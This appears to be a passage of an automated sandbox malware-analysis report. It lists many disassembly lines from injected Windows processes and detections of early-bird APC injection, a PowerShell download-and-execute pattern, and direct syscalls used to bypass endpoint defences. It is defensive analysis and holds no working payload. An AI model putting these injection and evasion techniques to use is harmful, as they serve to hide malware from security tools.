Source: C:\Windows\SysWOW64\msiexec.exe Code function: 11_2_24860770 mov eax, dword ptr fs:[00000030h] 11_2_24860770
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 11_2_24860770 mov eax, dword ptr fs:[00000030h] 11_2_24860770
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 11_2_24860770 mov eax, dword ptr fs:[00000030h] 11_2_24860770
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 11_2_24860770 mov eax, dword ptr fs:[00000030h] 11_2_24860770
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 11_2_24860770 mov eax, dword ptr fs:[00000030h] 11_2_24860770
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 11_2_2484D08D mov eax, dword ptr fs:[00000030h] 11_2_2484D08D
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 11_2_248DD080 mov eax, dword ptr fs:[00000030h] 11_2_248DD080
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 11_2_248DD080 mov eax, dword ptr fs:[00000030h] 11_2_248DD080
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 11_2_2485208A mov eax, dword ptr fs:[00000030h] 11_2_2485208A
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 11_2_24855096 mov eax, dword ptr fs:[00000030h] 11_2_24855096
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 11_2_2488909C mov eax, dword ptr fs:[00000030h] 11_2_2488909C
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 11_2_2487D090 mov eax, dword ptr fs:[00000030h] 11_2_2487D090
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 11_2_2487D090 mov eax, dword ptr fs:[00000030h] 11_2_2487D090
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 11_2_248E80A8 mov eax, dword ptr fs:[00000030h] 11_2_248E80A8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 11_2_249160B8 mov eax, dword ptr fs:[00000030h] 11_2_249160B8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 11_2_249160B8 mov ecx, dword ptr fs:[00000030h] 11_2_249160B8
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EC04E5 mov ecx, dword ptr fs:[00000030h] 13_2_04EC04E5
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F4A4B0 mov eax, dword ptr fs:[00000030h] 13_2_04F4A4B0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EC64AB mov eax, dword ptr fs:[00000030h] 13_2_04EC64AB
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EF44B0 mov ecx, dword ptr fs:[00000030h] 13_2_04EF44B0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F4C460 mov ecx, dword ptr fs:[00000030h] 13_2_04F4C460
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EEA470 mov eax, dword ptr fs:[00000030h] 13_2_04EEA470
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EEA470 mov eax, dword ptr fs:[00000030h] 13_2_04EEA470
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EEA470 mov eax, dword ptr fs:[00000030h] 13_2_04EEA470
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EFE443 mov eax, dword ptr fs:[00000030h] 13_2_04EFE443
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EFE443 mov eax, dword ptr fs:[00000030h] 13_2_04EFE443
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EFE443 mov eax, dword ptr fs:[00000030h] 13_2_04EFE443
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EFE443 mov eax, dword ptr fs:[00000030h] 13_2_04EFE443
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EFE443 mov eax, dword ptr fs:[00000030h] 13_2_04EFE443
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EFE443 mov eax, dword ptr fs:[00000030h] 13_2_04EFE443
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EFE443 mov eax, dword ptr fs:[00000030h] 13_2_04EFE443
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EFE443 mov eax, dword ptr fs:[00000030h] 13_2_04EFE443
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EE245A mov eax, dword ptr fs:[00000030h] 13_2_04EE245A
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EB645D mov eax, dword ptr fs:[00000030h] 13_2_04EB645D
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EBE420 mov eax, dword ptr fs:[00000030h] 13_2_04EBE420
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EBE420 mov eax, dword ptr fs:[00000030h] 13_2_04EBE420
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EBE420 mov eax, dword ptr fs:[00000030h] 13_2_04EBE420
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EBC427 mov eax, dword ptr fs:[00000030h] 13_2_04EBC427
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F46420 mov eax, dword ptr fs:[00000030h] 13_2_04F46420
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F46420 mov eax, dword ptr fs:[00000030h] 13_2_04F46420
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F46420 mov eax, dword ptr fs:[00000030h] 13_2_04F46420
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F46420 mov eax, dword ptr fs:[00000030h] 13_2_04F46420
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F46420 mov eax, dword ptr fs:[00000030h] 13_2_04F46420
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F46420 mov eax, dword ptr fs:[00000030h] 13_2_04F46420
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F46420 mov eax, dword ptr fs:[00000030h] 13_2_04F46420
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EF8402 mov eax, dword ptr fs:[00000030h] 13_2_04EF8402
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EF8402 mov eax, dword ptr fs:[00000030h] 13_2_04EF8402
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EF8402 mov eax, dword ptr fs:[00000030h] 13_2_04EF8402
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EFC5ED mov eax, dword ptr fs:[00000030h] 13_2_04EFC5ED
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EFC5ED mov eax, dword ptr fs:[00000030h] 13_2_04EFC5ED
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EEE5E7 mov eax, dword ptr fs:[00000030h] 13_2_04EEE5E7
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EEE5E7 mov eax, dword ptr fs:[00000030h] 13_2_04EEE5E7
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EEE5E7 mov eax, dword ptr fs:[00000030h] 13_2_04EEE5E7
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EEE5E7 mov eax, dword ptr fs:[00000030h] 13_2_04EEE5E7
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EEE5E7 mov eax, dword ptr fs:[00000030h] 13_2_04EEE5E7
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EEE5E7 mov eax, dword ptr fs:[00000030h] 13_2_04EEE5E7
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EEE5E7 mov eax, dword ptr fs:[00000030h] 13_2_04EEE5E7
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EEE5E7 mov eax, dword ptr fs:[00000030h] 13_2_04EEE5E7
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EC25E0 mov eax, dword ptr fs:[00000030h] 13_2_04EC25E0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EFE5CF mov eax, dword ptr fs:[00000030h] 13_2_04EFE5CF
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EFE5CF mov eax, dword ptr fs:[00000030h] 13_2_04EFE5CF
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EC65D0 mov eax, dword ptr fs:[00000030h] 13_2_04EC65D0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EFA5D0 mov eax, dword ptr fs:[00000030h] 13_2_04EFA5D0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EFA5D0 mov eax, dword ptr fs:[00000030h] 13_2_04EFA5D0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F405A7 mov eax, dword ptr fs:[00000030h] 13_2_04F405A7
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F405A7 mov eax, dword ptr fs:[00000030h] 13_2_04F405A7
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F405A7 mov eax, dword ptr fs:[00000030h] 13_2_04F405A7
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EE45B1 mov eax, dword ptr fs:[00000030h] 13_2_04EE45B1
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EE45B1 mov eax, dword ptr fs:[00000030h] 13_2_04EE45B1
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EF4588 mov eax, dword ptr fs:[00000030h] 13_2_04EF4588
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EC2582 mov eax, dword ptr fs:[00000030h] 13_2_04EC2582
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EC2582 mov ecx, dword ptr fs:[00000030h] 13_2_04EC2582
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EFE59C mov eax, dword ptr fs:[00000030h] 13_2_04EFE59C
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EF656A mov eax, dword ptr fs:[00000030h] 13_2_04EF656A
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EF656A mov eax, dword ptr fs:[00000030h] 13_2_04EF656A
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EF656A mov eax, dword ptr fs:[00000030h] 13_2_04EF656A
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EC8550 mov eax, dword ptr fs:[00000030h] 13_2_04EC8550
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EC8550 mov eax, dword ptr fs:[00000030h] 13_2_04EC8550
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EEE53E mov eax, dword ptr fs:[00000030h] 13_2_04EEE53E
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EEE53E mov eax, dword ptr fs:[00000030h] 13_2_04EEE53E
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EEE53E mov eax, dword ptr fs:[00000030h] 13_2_04EEE53E
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EEE53E mov eax, dword ptr fs:[00000030h] 13_2_04EEE53E
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EEE53E mov eax, dword ptr fs:[00000030h] 13_2_04EEE53E
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED0535 mov eax, dword ptr fs:[00000030h] 13_2_04ED0535
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED0535 mov eax, dword ptr fs:[00000030h] 13_2_04ED0535
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED0535 mov eax, dword ptr fs:[00000030h] 13_2_04ED0535
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED0535 mov eax, dword ptr fs:[00000030h] 13_2_04ED0535
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED0535 mov eax, dword ptr fs:[00000030h] 13_2_04ED0535
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED0535 mov eax, dword ptr fs:[00000030h] 13_2_04ED0535
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F56500 mov eax, dword ptr fs:[00000030h] 13_2_04F56500
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F94500 mov eax, dword ptr fs:[00000030h] 13_2_04F94500
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F94500 mov eax, dword ptr fs:[00000030h] 13_2_04F94500
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F94500 mov eax, dword ptr fs:[00000030h] 13_2_04F94500
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F94500 mov eax, dword ptr fs:[00000030h] 13_2_04F94500
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F94500 mov eax, dword ptr fs:[00000030h] 13_2_04F94500
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F94500 mov eax, dword ptr fs:[00000030h] 13_2_04F94500
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F94500 mov eax, dword ptr fs:[00000030h] 13_2_04F94500
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F3E6F2 mov eax, dword ptr fs:[00000030h] 13_2_04F3E6F2
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F3E6F2 mov eax, dword ptr fs:[00000030h] 13_2_04F3E6F2
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F3E6F2 mov eax, dword ptr fs:[00000030h] 13_2_04F3E6F2
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F3E6F2 mov eax, dword ptr fs:[00000030h] 13_2_04F3E6F2
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F406F1 mov eax, dword ptr fs:[00000030h] 13_2_04F406F1
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F406F1 mov eax, dword ptr fs:[00000030h] 13_2_04F406F1
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EFA6C7 mov ebx, dword ptr fs:[00000030h] 13_2_04EFA6C7
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EFA6C7 mov eax, dword ptr fs:[00000030h] 13_2_04EFA6C7
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EFC6A6 mov eax, dword ptr fs:[00000030h] 13_2_04EFC6A6
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EF66B0 mov eax, dword ptr fs:[00000030h] 13_2_04EF66B0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EC4690 mov eax, dword ptr fs:[00000030h] 13_2_04EC4690
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EC4690 mov eax, dword ptr fs:[00000030h] 13_2_04EC4690
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EFA660 mov eax, dword ptr fs:[00000030h] 13_2_04EFA660
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EFA660 mov eax, dword ptr fs:[00000030h] 13_2_04EFA660
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F8866E mov eax, dword ptr fs:[00000030h] 13_2_04F8866E
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F8866E mov eax, dword ptr fs:[00000030h] 13_2_04F8866E
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EF2674 mov eax, dword ptr fs:[00000030h] 13_2_04EF2674
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EDC640 mov eax, dword ptr fs:[00000030h] 13_2_04EDC640
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EC262C mov eax, dword ptr fs:[00000030h] 13_2_04EC262C
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EDE627 mov eax, dword ptr fs:[00000030h] 13_2_04EDE627
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EF6620 mov eax, dword ptr fs:[00000030h] 13_2_04EF6620
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EF8620 mov eax, dword ptr fs:[00000030h] 13_2_04EF8620
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED260B mov eax, dword ptr fs:[00000030h] 13_2_04ED260B
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED260B mov eax, dword ptr fs:[00000030h] 13_2_04ED260B
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED260B mov eax, dword ptr fs:[00000030h] 13_2_04ED260B
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED260B mov eax, dword ptr fs:[00000030h] 13_2_04ED260B
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED260B mov eax, dword ptr fs:[00000030h] 13_2_04ED260B
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED260B mov eax, dword ptr fs:[00000030h] 13_2_04ED260B
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED260B mov eax, dword ptr fs:[00000030h] 13_2_04ED260B
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F02619 mov eax, dword ptr fs:[00000030h] 13_2_04F02619
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F3E609 mov eax, dword ptr fs:[00000030h] 13_2_04F3E609
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EE27ED mov eax, dword ptr fs:[00000030h] 13_2_04EE27ED
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EE27ED mov eax, dword ptr fs:[00000030h] 13_2_04EE27ED
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EE27ED mov eax, dword ptr fs:[00000030h] 13_2_04EE27ED
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F4E7E1 mov eax, dword ptr fs:[00000030h] 13_2_04F4E7E1
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ECC7C0 mov eax, dword ptr fs:[00000030h] 13_2_04ECC7C0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F407C3 mov eax, dword ptr fs:[00000030h] 13_2_04F407C3
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EC07AF mov eax, dword ptr fs:[00000030h] 13_2_04EC07AF
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F6678E mov eax, dword ptr fs:[00000030h] 13_2_04F6678E
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EC8770 mov eax, dword ptr fs:[00000030h] 13_2_04EC8770
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED0770 mov eax, dword ptr fs:[00000030h] 13_2_04ED0770
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED0770 mov eax, dword ptr fs:[00000030h] 13_2_04ED0770
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED0770 mov eax, dword ptr fs:[00000030h] 13_2_04ED0770
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED0770 mov eax, dword ptr fs:[00000030h] 13_2_04ED0770
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED0770 mov eax, dword ptr fs:[00000030h] 13_2_04ED0770
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED0770 mov eax, dword ptr fs:[00000030h] 13_2_04ED0770
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED0770 mov eax, dword ptr fs:[00000030h] 13_2_04ED0770
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED0770 mov eax, dword ptr fs:[00000030h] 13_2_04ED0770
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED0770 mov eax, dword ptr fs:[00000030h] 13_2_04ED0770
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED0770 mov eax, dword ptr fs:[00000030h] 13_2_04ED0770
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED0770 mov eax, dword ptr fs:[00000030h] 13_2_04ED0770
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED0770 mov eax, dword ptr fs:[00000030h] 13_2_04ED0770
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F02750 mov eax, dword ptr fs:[00000030h] 13_2_04F02750
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F02750 mov eax, dword ptr fs:[00000030h] 13_2_04F02750
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F44755 mov eax, dword ptr fs:[00000030h] 13_2_04F44755
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EF674D mov esi, dword ptr fs:[00000030h] 13_2_04EF674D
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EF674D mov eax, dword ptr fs:[00000030h] 13_2_04EF674D
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EF674D mov eax, dword ptr fs:[00000030h] 13_2_04EF674D
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F4E75D mov eax, dword ptr fs:[00000030h] 13_2_04F4E75D
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EC0750 mov eax, dword ptr fs:[00000030h] 13_2_04EC0750
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F3C730 mov eax, dword ptr fs:[00000030h] 13_2_04F3C730
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EFC720 mov eax, dword ptr fs:[00000030h] 13_2_04EFC720
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EFC720 mov eax, dword ptr fs:[00000030h] 13_2_04EFC720
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EF273C mov eax, dword ptr fs:[00000030h] 13_2_04EF273C
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EF273C mov ecx, dword ptr fs:[00000030h] 13_2_04EF273C
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EF273C mov eax, dword ptr fs:[00000030h] 13_2_04EF273C
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EFC700 mov eax, dword ptr fs:[00000030h] 13_2_04EFC700
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EC0710 mov eax, dword ptr fs:[00000030h] 13_2_04EC0710
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EF0710 mov eax, dword ptr fs:[00000030h] 13_2_04EF0710
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F020F0 mov ecx, dword ptr fs:[00000030h] 13_2_04F020F0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EC80E9 mov eax, dword ptr fs:[00000030h] 13_2_04EC80E9
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EBA0E3 mov ecx, dword ptr fs:[00000030h] 13_2_04EBA0E3
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F460E0 mov eax, dword ptr fs:[00000030h] 13_2_04F460E0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EBC0F0 mov eax, dword ptr fs:[00000030h] 13_2_04EBC0F0

HIPS / PFW / Operating System Protection Evasion
barindex
Early bird code injection technique detected
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created / APC Queued / Resumed: C:\Windows\SysWOW64\msiexec.exe Jump to behavior
Yara detected Powershell download and execute
Source: Yara match File source: amsi64_1068.amsi.csv, type: OTHER
Source: Yara match File source: Process Memory Space: powershell.exe PID: 1068, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 5812, type: MEMORYSTR
Found direct / indirect Syscall (likely to bypass EDR)
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe NtWriteVirtualMemory: Direct from: 0x76F0490C Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe NtAllocateVirtualMemory: Direct from: 0x76F03C9C Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe NtClose: Direct from: 0x76F02B6C
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe NtReadVirtualMemory: Direct from: 0x76F02E8C Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe NtCreateKey: Direct from: 0x76F02C6C Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe NtSetInformationThread: Direct from: 0x76F02B4C Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe NtQueryAttributesFile: Direct from: 0x76F02E6C Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe NtAllocateVirtualMemory: Direct from: 0x76F048EC Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe NtQuerySystemInformation: Direct from: 0x76F048CC Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe NtQueryVolumeInformationFile: Direct from: 0x76F02F2C Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe NtOpenSection: Direct from: 0x76F02E0C Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe NtSetInformationThread: Direct from: 0x76EF63F9 Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe NtDeviceIoControlFile: Direct from: 0x76F02AEC Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe NtAllocateVirtualMemory: Direct from: 0x76F02BEC Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe NtCreateFile: Direct from: 0x76F02FEC Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe NtOpenFile: Direct from: 0x76F02DCC Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe NtQueryInformationToken: Direct from: 0x76F02CAC Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe NtProtectVirtualMemory: Direct from: 0x76EF7B2E Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe NtOpenKeyEx: Direct from: 0x76F02B9C Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe NtProtectVirtualMemory: Direct from: 0x76F02F9C Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe NtSetInformationProcess: Direct from: 0x76F02C5C Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe NtNotifyChangeKey: Direct from: 0x76F03C2C Jump to behavior
